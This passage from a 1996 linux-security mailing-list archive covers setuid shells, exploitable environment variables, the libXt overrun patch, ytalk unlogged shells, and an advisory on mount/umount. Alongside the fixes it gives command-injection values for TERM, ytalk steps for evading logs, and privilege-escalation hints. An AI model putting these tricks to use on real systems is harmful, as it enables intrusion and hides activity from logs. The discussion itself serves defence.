Phone: (36 1)2669833 ext: 2667, home phone: (36 1) 2752368 X-Mailer: ELM [version 2.4ME+ PL15 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Is there anyway to tell if a logged in user has a Euid=0 shell but > everything else is the same as his normal login. If there is how about a > daemon that checks users and freezes the login of any euiders=0 or ones > that get to uid=0 shell and add their ip to hosts.deny. How about a > automatic expert security program that keeps a watch over all logins. > > [REW: csh-variants detect this case, print "Permission denied." and exit. > You could add this check to your /bin/sh. You have the source.] bash and zsh have UID, EUID, GID, EGID variables. ksh, bash and zsh set the -p (privileged) option when EUID != UID or EGID != GID upon startup. Ksh executes /etc/suid_profile in that case (for all invocations not for just login shells) and does not process the ENV variable. Zsh emulates the ksh behaviour when invoked as sh or ksh otherwise it disables sourcing of any user starup scripts (a special suid action can be specified using a test in /etc/zshenv). bash, ksh and zsh resets EUID and EGID to the nornal UID/GID when the -p option is unset (e.g. by the set +p command). In addition in zsh {E,}{U,G}ID are writable parameters and they call set{e,}{u,g}id() upon assignment. Similarily USERNAME is a writable wariable in zsh which gets the uid for the given user and calls setuid(). All of that true only for zsh-3.0.0. It is not recommended to use older versions. [REW: Fun features. So you would put something like (consider this pseudocode: I never can remember shell syntax.... :-) if ((EUID != UID) || (EGID != GID)) log messag saying attempt to use setuid shell exit endif in some shell startupfile. (I got lost in the xsh stuff above :-) However setuid shell scripts are disabled anyway. And if you can put suid bits on system shells you can also put them on your own version of xyz-sh. Many people commented on the ability to run just about any shell as /bin/sh. Note that you should keep a boot- and root-disk handy and attempt a reboot before trusting it. Some bootscripts have interesting ways of breaking on a different shell.] Zoltan From [email protected] Thu Aug 29 18:40:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA19717; Thu, 29 Aug 1996 18:40:02 -0400 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: [linux-security] Re: Vulnerability in the Xt library (fwd) To: [email protected] Date: Thu, 29 Aug 1996 13:35:46 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL25 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Following up my previous message... Another message from bugtraq, which contains a patch to fix the libXt buffer overrun. I haven't verified if the fix is indeed in the (just released) XFree86-3.1.2F - can't get to ftp.xfree86.org right now (too many users), and can't find this version on mirror sites yet. Marek [REW: I'm not sure that this made it into 3.1.2F. The X consortium fixed a similar bug, which very likely came in too late (the 27th) to make it into 3.1.2F. As an aside, the release of 3.1.2F was MUCH too hasty. (These security bugs have nothing to do with that though.)] > Date: Sun, 25 Aug 1996 22:05:16 -0700 > From: Ollivier Robert > Subject: Re: Vulnerability in the Xt library (fwd) > To: Multiple recipients of list BUGTRAQ > According to John Capo: > > Stefan `Sec` Zehl writes: > > > I can confirm this for Freebsd 2.2-Current, it gives me a euid=0 /bin/sh > > > I can also. The xterm cores on -stable though. > > I sent a patch and a portable version of snprintf to both the X consortium > and Xfree86 yesterday. It will be in 3.1.2F. > > If you have XFree sources on-line and are willing to recompile, apply the > following patch in xc/lib/Xt: > > --- Error.c.old Sun Aug 25 14:57:28 1996 > +++ Error.c Sun Aug 25 14:47:14 1996 > @@ -238,5 +238,5 @@ > (void) memmove((char*)par, (char*)params, i * sizeof(String) ); > bzero( &par[i], (10-i) * sizeof(String) ); > - (void) sprintf(message, buffer, par[0], par[1], par[2], par[3], > + (void) snprintf(message, sizeof message, buffer, par[0], par[1], par[2], par[3], > par[4], par[5], par[6], par[7], par[8], par[9]); > XtError(message); > @@ -263,5 +263,5 @@ > (void) memmove((char*)par, (char*)params, i * sizeof(String) ); > bzero ( &par[i], (10-i) * sizeof(String) ); > - (void) sprintf(message, buffer, par[0], par[1], par[2], par[3], > + (void) snprintf(message, sizeof message, buffer, par[0], par[1], par[2], par[3], > par[4], par[5], par[6], par[7], par[8], par[9]); > XtWarning(message); > > -- > Ollivier ROBERT -=- The daemon is FREE! -=- [email protected] > FreeBSD keltia.freenix.fr 2.2-CURRENT #18: Sun Aug 18 19:16:52 MET DST 1996 > From [email protected] Thu Aug 29 18:40:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA19734; Thu, 29 Aug 1996 18:40:20 -0400 Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] Re: LYNX-DEV security problem with environment for lynx In-reply-to: Your message of "Wed, 28 Aug 1996 02:24:07 EDT." <[email protected]> Date: Wed, 28 Aug 1996 14:11:33 -0400 From: Christopher Blizzard Sender: [email protected] Precedence: list [REW: Quoting trimmed. About anonymous gopher lynx etc accounts:] In the past for both gopher and lynx anonymous accounts I've written a wrapper that calls the binary after resetting all of the environmental variables except "TERM=vt100". For those who don't have that term - tough. I don't trust anonymous accounts for the exact reason below. :) [REW: Note that even if you do that, you should still be aware that you may be opening a hole into your system.] --Chris ------------------------------------------------------------------- Christopher Blizzard | "The truth knocks on the door and you say [email protected] | 'Go away. I'm looking for the truth,' and NYSERNet, Inc. | so it goes away." --Robert Pirsig ------------------------------------------------------------------- From [email protected] Thu Aug 29 18:40:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA19747; Thu, 29 Aug 1996 18:40:37 -0400 Date: Thu, 29 Aug 1996 00:35:00 -0400 (EDT) From: Mark Whitis To: Daniel Bromberg cc: Joshua Cowan , [email protected] Subject: Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 25 Aug 1996, Daniel Bromberg wrote: > I propose a blanket solution: have the kernel manipulate the > environment passed to the setuid program in a safe manner. Thus only > pass through a few, if any, env variables to any setuid program, > statically linked or not. (Off the top of my head, all I think one > needs is USER, HOME, possibly HOSTALIASES). Given the splitvt type of > attack, we'd also need to 'clean up' the ones we do pass through, by > removing non-printable content and limiting the length. There is more > configuration needed: so there could be some file like > /etc/default/root.env which contains the environment that the sysadmin > deems adequate for proper operation of all setuid programs. (like > PATH, HOSTNAME, etc.) Such a file could also specify which user's env > variables were safe to pass through. Last time I looked at possibilities for exploits of environment variables on setuid programs (or via telnetd), I came to the conclusion that virtually all environment variables, even the "safe" (and sometimes necessary) ones, were potentially exploitable. As for your list of ones to pass through unchanged, they do not appear even marginally safe. USER & HOME: a setuid program (and any programs it calls) should not need them; if they do, they shouldn't be trusted. If a program needs these, they should be regenerated from reliable sources. HOSTALIASES (and any other variable which affects DNS lookup Here is the beginings of a catalog of common environment variables and a little about their potential exploitability. I started with a printenv on an almost strait out of the box RedHat 3.0.3 system and added a few from memory. RESOLV_HOST_CONF - Can be (ab)used to read any file on the system (resolver libraries echo file if there is an error in it), crash system by reading /dev/kmem, or to spoof name lookups. ENV - Well known exploits USERNAME - Any setuid program that needs this info had better get it from someplace trustworthy HISTSIZE - Don't know. Really large values or negative or zero values might conceivably do domething strange to child processes invoked by a setuid program HOSTNAME - Any setuid program that needs this info had better get it from someplace trustworthy LOGNAME - see username HISTFILESIZE - Don't know. Really large values or negative or zero values might conceivably do domething strange to child processes invoked by a setuid program MAIL=/var/spool/mail/whitis TERM - Very Dangerous. In addition to the TERMCAP problem, csh is vulnerable to TERM - it EVALUATES it just like bash evaluates ENV. Other shells may also. If TERM is allowed, it must be used in conjuction with a list of acceptable values. Exploits: - telnet/telnetd environment variable 'feature' - older telnetd's still passed a terminal type even if they dont let you set other environment variables. So even telnetd's which have fixed the telnet environ bug may still be vulnerable to attacks on csh based captive accounts. - setuid programs which use shell scripts, call system, etc. - On system Vish systems: login: script-user TERM='`/bin/sh&/dev/tty`' password: ... $ - login -p based exploits: export TERM='evil' login -p login: blah Password: .... ... echo $TERM blah blah TERMCAP - Very Dangerous (termcap entries can specify the execution of arbitrary programs). HOSTTYPE=i386 - Sometimes used in generating PATH PATH - Very Dangerous HOME - Any setuid program that needs this info had better get it from someplace trustworthy and be very careful what it uses it for in the first place. HOME points to files created by an untrusted user. SHELL - No setuid programs or captive login scripts should need this should they? Obviously dangerous if used. PS1 - Some buffer overrun attacks possible. In general, setuid programs and captive login programs should not be starting interactive shells but this could have unexpected consequences internally to the shell as well as to .profile files. USER - See USERNAME DISPLAY - Allows you to connect to any TCP port over 6000 (and sometimes under 6000 using negative numbers) although you may not have a lot of control over the data stream. A possible way to attack things inside a firewall when combined with things like the telnetd bug. OSTYPE=Linux - See HOSTTYPE SHLVL=1 - Unknown. TZ - Affects time formatting functions. Potential for several types of attacks: - Forging time (i.e. you can cause a transaction to appear to have occurred at a different time) - Buffer overrun attacks in any programs which print time. - punctuation based attacks LANG, LC_ALL, LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_MESSAGES, LC_NUMERIC, LC_TIME - These can cause standard library functions, such as printf(), to do unexpected things, particularly with regard to punctuation which can cause data field misallignment based attacks in some situations. IFS - Known exploits LD_LIBRARY_PATH* - Known exploits (replacing shared libraries with trojan versions, often via Anonymous FTP or similar means), usually fixed for setuid programs in ld.so. LOCALDOMAIN, HOSTALIASES* - Anything which can be used to spoof DNS is potentially exploitable. critical programs should use RED_NOALIASES on systems like linux where this variable is implemented, although that may not protect against LOCALDOMAIN. Many of the above variables can be made more dangerous through their explicit use in captive login programs, .profile, .login, .bashrc,.cshrc, etc. I have not even touched on some others: PRINTER LPDEST EXINIT WINDOWID LESSCHARSET EDITOR VISUAL NLSPATH MSGVERB NETPATH SEV_LEVEL any environment variables listed in man pages relating to - any shell - environ(5) - ld.so - libc - any specific setuid program should be added to the list bash$ TERM='`/bin/ls >/dev/tty`' csh [REW: In short, LOTS of environment variables are potentially expoloitable. Only known "safe" variables should be passed (by e.g. telnetd, or a setuid-wrapper). (I never knew about RESOLV_HOST_CONF before it came up here.) And even "safe" variables should be paranoidly checked against odd characters etc.] --------------------------------------------------------------------------- --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- --------------------------------------------------------------------------- linux-security/linux-security.960830100664 1767 1767 67035 6211674233 16663 0ustar majdommajdomFrom [email protected] Fri Aug 30 04:29:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA24111; Fri, 30 Aug 1996 04:29:55 -0400 Date: Thu, 29 Aug 1996 03:25:51 -0400 (EDT) From: Richard Bullington Reply-To: Richard Bullington To: [email protected] Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 25 Aug 1996, Paul D. Robertson wrote: > On Thu, 22 Aug 1996, infinity wrote: > > > By very defintion of a SYN flood, the source address has to be > > forged. > > This is simply not true. There is a particular combination of > the SuperTCP PC stack and Netscape browser, for instance, that will, > given the correct versions, SYN flood the hell out of your web server. > > In a malicious attack it would be stupid to SYN flood from your correct IP > address, but it is certainly possible. I have an interesting tcpdump trace of a network session gone very badly that turned into an ACK flood on the telnet port. This session shows a flood coming from someone's 'correct' IP address. This flood effectively stopped all network communications on my system until I had the system administrator of the remote ISP manually shut off the connection. It appeared not to be an attack, but a bug in either Mac System 7.5.3 or NCSA telnet: [excerpt from mail diagnosing the problem] >> When this happens, please reset the computer... it stayed connected for 5 >> hours flooding the 'net with bad packets. What kind of computer was it? >> Running what operating system? What telnet program? > > we did restart the computer. It's a Power Mac. and the telnet program > is NSCA telnet. with a slip PPP connection. running system 7.53 I have posted my tcpdump trace (167K) at: http://www.obscure.org/~rbulling/tcpdumptrace.txt [REW: Lets stop this discussion OK? There are differences in opinion about what IS a "SYN flood". There are differences in opinion about what would cause the most harm if you want to do a "malicious SYN flood". There is evidence that bugs in TCP stacks can cause a SYN flood.] -Richard Bullington http://www.obscure.org From [email protected] Fri Aug 30 04:31:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA24134; Fri, 30 Aug 1996 04:31:49 -0400 Message-ID: <[email protected]> Date: Thu, 29 Aug 1996 23:24:18 -0400 From: "Brian L. Naylor" X-Mailer: Mozilla 2.02 (X11; I; Linux 2.0.0 i586) MIME-Version: 1.0 To: linux-security mailing list Subject: [linux-security] ytalk Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Hi. I've run across a small 'feature' in ytalk 3.0 p2 that allows a local user to get an unlogged shell. (i.e., a full login that doesn't make it into the system logs.) Also, the shell he's running is apparently unable to get full info either- `whoami` and `id` show reasonable values but `who am i` doesn't. I've never heard of this and I haven't seen it in any of the archives, but it certainly seems like a problem to me. (He can, for example, try to su all day without his name appearing in the logs.) Forgive me if this is a known behavior. This is ytalk version 3.0 p2 on Redhat Linux 3.0.3 (kernel 2.0.10), bash. Do `ytalk -x user#ttypx` where user is your own login id and ttypx is the tty you're currently logged into. Ignore the subsequent talk request and hit -s to bring up a new shell. ... [user@host user]$ who user ttyp1 Aug 29 22:53 (dialup1) [user@host user]$ tty /dev/ttyp2 [user@host user]$ who am i [user@host user]$ ... Try an su: [user@host user]$ su - Password: su: incorrect password woops, well, that's ok, this is what's in the log: Aug 29 21:27:43 host su: FAILED SU on /dev/ttyp4 ^^^^ username should be here Now, the first part of that- the user not appearing twice with `who` seems to occur with other secondary shells as well. (From vi, etc.) The second bit, however, with the null username, doesn't. In any case, it makes it easy for a user to go about questionable activities unobserved, and with little record. Is it a bug? I dunno- I just work here. -- Brian L. Naylor [email protected] http://www.transy.edu/~jones [REW: The root of the problem is that unprivilidged programs like ytalk cannot write to utmp to set the info in there. What Brian calls "other secondary shells" are programs that use the current pty to do their stuff. Ytalk creates a new pty. This pty then doesn't have its info in utmp, so that who, w and su cannot find valid info there. The weirdest thing is that su seems to trust "getlogin". I created a patch (for sh-utils-1.12): ------------------------------------------------------------------- --- su.c.orig Fri Aug 30 09:32:27 1996 +++ su.c Fri Aug 30 09:44:20 1996 @@ -466,6 +466,8 @@ int successful; { const char *new_user, *old_user, *tty; + struct passwd *old_pw; + char as_str[101]; #ifndef SYSLOG_NON_ROOT if (pw->pw_uid) @@ -475,8 +477,15 @@ /* The utmp entry (via getlogin) is probably the best way to identify the user, especially if someone su's from a su-shell. */ old_user = getlogin (); + old_pw = getpwuid (getuid()); if (old_user == NULL) old_user = ""; + + if ((strcmp (old_pw->pw_name, old_user) != 0)) + snprintf (as_str,100,"(as %s)",old_pw->pw_name); + else + sprintf (as_str,""); + tty = ttyname (2); if (tty == NULL) tty = ""; @@ -488,15 +497,15 @@ ); syslog (LOG_NOTICE, #ifdef SYSLOG_NON_ROOT - "%s(to %s) %s on %s", + "%s%s(to %s) %s on %s", #else - "%s%s on %s", + "%s%s%s on %s", #endif successful ? "" : "FAILED SU ", #ifdef SYSLOG_NON_ROOT new_user, #endif - old_user, tty); + old_user, as_str, tty); closelog (); } #endif ------------------------------------------------------------------- This adds an "(as username)" to the log whenever it differs from the info from getlogin. This is now a log entry from an unpriviliged pty: Aug 30 09:45:00 cave su: FAILED SU (as wolff) on /dev/ttyp9 And this is when I first su to root and then type "su" again. Aug 30 09:50:21 cave su: wolff(as root) on /dev/ttypa If you have SYSLOG_NON_ROOT defined I guess you would also get things like Aug 30 09:50:21 cave su: wolff(as root)(to menno) on /dev/ttypa First I su-ed to root and then to "menno": I don't know menno's password, but he wanted me to send mail "in his name". -- Roger.] From [email protected] Fri Aug 30 19:18:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA28886; Fri, 30 Aug 1996 19:18:50 -0400 Date: Tue, 27 Aug 1996 21:11:33 -0700 From: Ian Goldberg Message-Id: <[email protected]> To: [email protected] Newsgroups: isaac.lists.bugtraq Subject: [linux-security] possible security bug if uid of nobody is 65535 or -1 Organization: ISAAC Group, UC Berkeley Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- I've seen the user "nobody" on some systems have a uid of -1 or 65535. (Slackware Linux is such an example.) On most such systems, this will have interesting interactions with syscalls like setreuid() and chown(), for which an argument of -1 means "no change". A program that is setuid root, but uses setreuid() to swap its real and effective uids will thus remain root if run by the "nobody" user. Also note that it is easy to run programs as nobody on systems on which CGI scripts are available (the default is to run them as nobody). - Ian -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMiPGz0ZRiTErSPb1AQHB4gP/bZQ9rDz4E+eaCzzFenDHf7Mwb/+F7nUH JFtZqG43ohONgDmNMl2hHA925sJTsCJ/53e43Bnbn6rtUoEmdkkuMLbJ4XrMPOf3 UQSaAeJw0Datlyb/NM4+ka/23GzPc6TH2OAyAv3Hz+vOOVdtzsrPctW8/pMGT2HQ ZD4YQUsCMBA= =h2Hb -----END PGP SIGNATURE----- From [email protected] Fri Aug 30 19:22:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA28922; Fri, 30 Aug 1996 19:22:11 -0400 Message-Id: <[email protected]> To: [email protected] Cc: Net-Thing Security Subject: Re: [linux-security] Suid Programs / Help Wanted In-reply-to: Your message of "Tue, 27 Aug 1996 00:53:10 EDT." Date: Tue, 27 Aug 1996 15:17:10 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list > With all the problems about Suid programs, I just -s all but 3 of > them like sendmail none of my 300 users even noticed. So why does everyone > else seem to need them Suid? Just because none of your users noticed does not mean that all the programs work fine. Lets see. sendmail - should be setuid to root if used as MTA su - better be setuid-to-root :) passwd - setuid to owner of a password file chfn - setuid to owner of a password file chsh - setuid to owner of a password file rlogin - setuid to root rsh - setuid to root ping - setuid to root and a lot more others > If someone needs Suid programs how about some home made wrapper > program or script that runs them in a secure manner? would that work? yes, if you know how to write such wrapper in a secure manner. > I have a question unrelated: > > Is there anyway to tell if a logged in user has a Euid=0 shell but > everything else is the same as his normal login. yes, it is possible if you hack the source of a shell. > If there is how about a > daemon that checks users and freezes the login of any euiders=0 or ones > that get to uid=0 shell and add their ip to hosts.deny. >From the top of my head that creates race conditions. > How about a automatic expert security program that keeps a watch > over all logins. And what are the conditions of "abuse" that this program should detect? > Another Question: > > Is there a bug in the slackware 1.2.13 There is no Slackware 1.2.13 > login that can let an intruder > get a root shell even with no valid login account? No, this bug was in early SYSV login and it required knowledge of account name. > Wanted security consultant anyone reading this that knows all > past and present Slackware bugs/holes and possibly Irix 5.3 exploits reply > with hourly rate and experience. This is a joke, right? Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA .... Go WAR! The Network Security Wargames are coming KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Fri Aug 30 19:25:56 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA28956; Fri, 30 Aug 1996 19:25:56 -0400 Message-Id: <[email protected]> To: Robert Hanson cc: [email protected] Subject: Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx In-reply-to: Your message of "Fri, 30 Aug 1996 04:31:46 PDT." Date: Fri, 30 Aug 1996 10:17:31 -0400 From: Christopher Blizzard Sender: [email protected] Precedence: list In message , Robert Hanson writes: :i dont get the lynx thing... what do we do to fix it? : You can write a small wrapper in front of it. As the userid "lynx"'s shell you run a program that resets all of the environmental variables that would normally be passed by the telnet daemon. Here is some source as an example. #include int main() { char * args[] = {"lynx", "-anonymous", NULL}; char * environargs[] = {"TERM=vt100"}; execve ("/usr/bin/lynx", (void *)args, (void *)environargs); return(0); } That's it. (This is for an old version of lynx, btw. I think that the newer versions use a different argument.) --Chris [REW: Quoting trimmed.] ------------------------------------------------------------------- Christopher Blizzard | "The truth knocks on the door and you say [email protected] | 'Go away. I'm looking for the truth,' and NYSERNet, Inc. | so it goes away." --Robert Pirsig ------------------------------------------------------------------- From [email protected] Fri Aug 30 19:26:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA28969; Fri, 30 Aug 1996 19:26:00 -0400 Message-Id: In-Reply-To: <[email protected]> References: from "Ralph the Wonder Llama" at Aug 25, 96 02:42:03 am Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 30 Aug 1996 07:52:32 -0400 To: [email protected] From: Rob Hagopian Subject: Re: [linux-security] SYN flooding (was inetd and denial-of-service) Sender: [email protected] Precedence: list > Remember that the inetd (and TCPd) filters work after the completion > of the 3-way handshake. SYN flooding only satisfies the first part > of the 3-way handshake. I can deny TCP/23 with TCPd from all but > trusted IP addresses. It can still be SYN flooded however. What about simply dropping the oldest SYN connections after the port(s) have been flooded, always leaving a connection available? This won't help too much in a continuous flood mode as any legit connections might be wiped out along with the dummy SYN packets, but this could be aleivated somewhat with larger buffers... Also, when this threshold is reached, it would be a good time to start alerting the sysadmin. Thus, a proactive solution is acheived, while a permenant solution can be investigated. Also, I don't believe that this would require too much effort on the part of the kernel to track (as opposed to tracking the IP addr of SYN packets, which would fail anyways under a random SYN flood attack). Of course, I'm not too well versed in this area, so this could be completely hairbrained... :-) -Rob Hagopian From [email protected] Fri Aug 30 19:26:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA28982; Fri, 30 Aug 1996 19:26:04 -0400 From: Zoltan Hidvegi Message-Id: <[email protected]> Subject: Re: [linux-security] Suid Programs / Help Wanted To: [email protected] (Zoltan Hidvegi) Date: Fri, 30 Aug 1996 20:37:22 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from Zoltan Hidvegi at "Aug 29, 96 04:56:53 pm" Organization: Dept. of Comp. Sci., Eotvos University, Budapest, Hungary Phone: (36 1)2669833 ext: 2667, home phone: (36 1) 2752368 X-Mailer: ELM [version 2.4ME+ PL16 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > [REW: Fun features. So you would put something like (consider this > pseudocode: I never can remember shell syntax.... :-) > > if ((EUID != UID) || (EGID != GID)) > log messag saying attempt to use setuid shell > exit > endif A more portable test which works with most modern shells is case $- in *p*) log something; exit;; esac or instead of exiting it may use set +p to drop privileges. But it may not prevent all attacks because when an interactive shell is interrupted while it is processing its startup files it will give you a prompt so a quick INT signal can give you a root prompt. Not all shells does this. AT&T ksh '93 exits when it receives an interrups while processing init scripts and I'll modify zsh to exit when it is in privileged interactive mode and an untrapped INT signal arrives while it is processing a startup script. > However setuid shell scripts are disabled anyway. And if you can put > suid bits on system shells you can also put them on your own version > of xyz-sh. Suid scripts are disabled but someone may call system() or popen() from a suid program (which is certainly a BAD thing but it sometimes happens). > Many people commented on the ability to run just about any shell as > /bin/sh. Note that you should keep a boot- and root-disk handy and > attempt a reboot before trusting it. Some bootscripts have interesting > ways of breaking on a different shell.] I use zsh as /bin/sh on Slackware-3.0. As I know slackware boot scripts are designed for ash so it is not very surprising that it works. I would really like to hear about other people's experiences with zsh installed in /bin/sh especially on RedHat and Debian systems. If you try that, make sure you have zsh-3.0.0 (use echo $ZSH_VERSION). Report any problems related to that to me. If it is a real problem and not just a bash specific feature used in init scripts I'll be glad to fix it. Zoltan From [email protected] Fri Aug 30 19:26:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA29014; Fri, 30 Aug 1996 19:26:18 -0400 Message-Id: <[email protected]> To: [email protected] cc: [email protected] Subject: [linux-security] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 Date: Tue, 27 Aug 1996 17:57:21 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update mount/umount Vulnerability Mon Aug 26 21:46:49 EDT 1996 Copyright (C) 1995,1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official Update of the Linux Security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the mount/umount programs of the util-linux 2.5 package. If installed suid-to-root, these programs allow local users to gain super-user privileges. RISK ASSESSMENT Local users can gain root privileges. The exploits that exercise this vulnerability were made available. VULNERABILITY ANALYSIS mount/umount utilities from the util-linux 2.5 suffer from the buffer overrun problem. Installing mount/umount as suid-to-root programs is necessary to allow local users to mount and unmount removable media without having super-user privileges. If this feature is not required, it is recommended that suid bit is removed from both mount and umount programs. If this feature is required, one might want to consider the other ways of implementing it. Such approaches include but are not limited to using auto-mounter or sudo mechanism. DISTRIBUTION FIXES Red Hat Commercial Linux RedHat 2.1, RedHat 3.0.3 (Picasso) and RedHat 3.0.4 (Rembrandt) contain vulnerable umount utilities. Red Hat Software advises users of Red Hat 2.1 to upgrade to Red Hat 3.0.3 (Picasso) The replacement RPMs are available from the following URLs: Red Hat Linux 3.0.3 (Picasso) i386 architecture ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/util-linux-2.5-11fix.i386.rpm ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/mount-2.5k-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm RedHat Linux 3.0.3 (Picasso) Alpha architecture ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/util-linux-2.5-11fix.axp.rpm ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/mount-2.5k-1.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm RedHat Linux 3.0.4 Beta (Rembrandt) i386 architecture ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/mount-2.5k-2.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm RedHat Linux 3.0.4 Beta (Rembrandt) SPARC architecture ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/mount-2.5k-2.sparc.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm Please verify the MD5 fingerprint of the RPMs prior to installing them. ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm 12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm 26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm 7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm The Red Hat Software Inc notes that the only difference between mount-2.5k-1 and mount-2.5k-2 is in the packaging format. Caldera Network Desktop Caldera Network Desktop version 1.0 contains vulnerable mount and umount programs. Caldera Inc issued Caldera Security Advisory 96.04 where it recommends removing setuid bit from mount and umount commands using command chmod 755 /bin/mount /bin/umount. Users of Caldera Network Desktop 1.0 upgraded to RedHat 3.0.3 (Picasso) are advised to follow the instructions in the Red Hat Commercial Linux section of this LSF Update. Debian Debian/GNU Linux 1.1 contains the vulnerable mount/umount programs. The Debian Project provided the information that an updated package fixes this problem. The fix-kit can be obtained from the following URLs: ftp://ftp.debian.org/debian/stable/binary-i386/base/mount_2.5l-1.deb ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb ftp://tarsier.cv.nrao.edu/linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb Please verify the MD5 signature of the RPM prior to installing the fix-kit 6672530030f9a6c42451ace74c7510ca mount_2.5l-1.deb WARNING: The message that contained information about MD5 hash of the 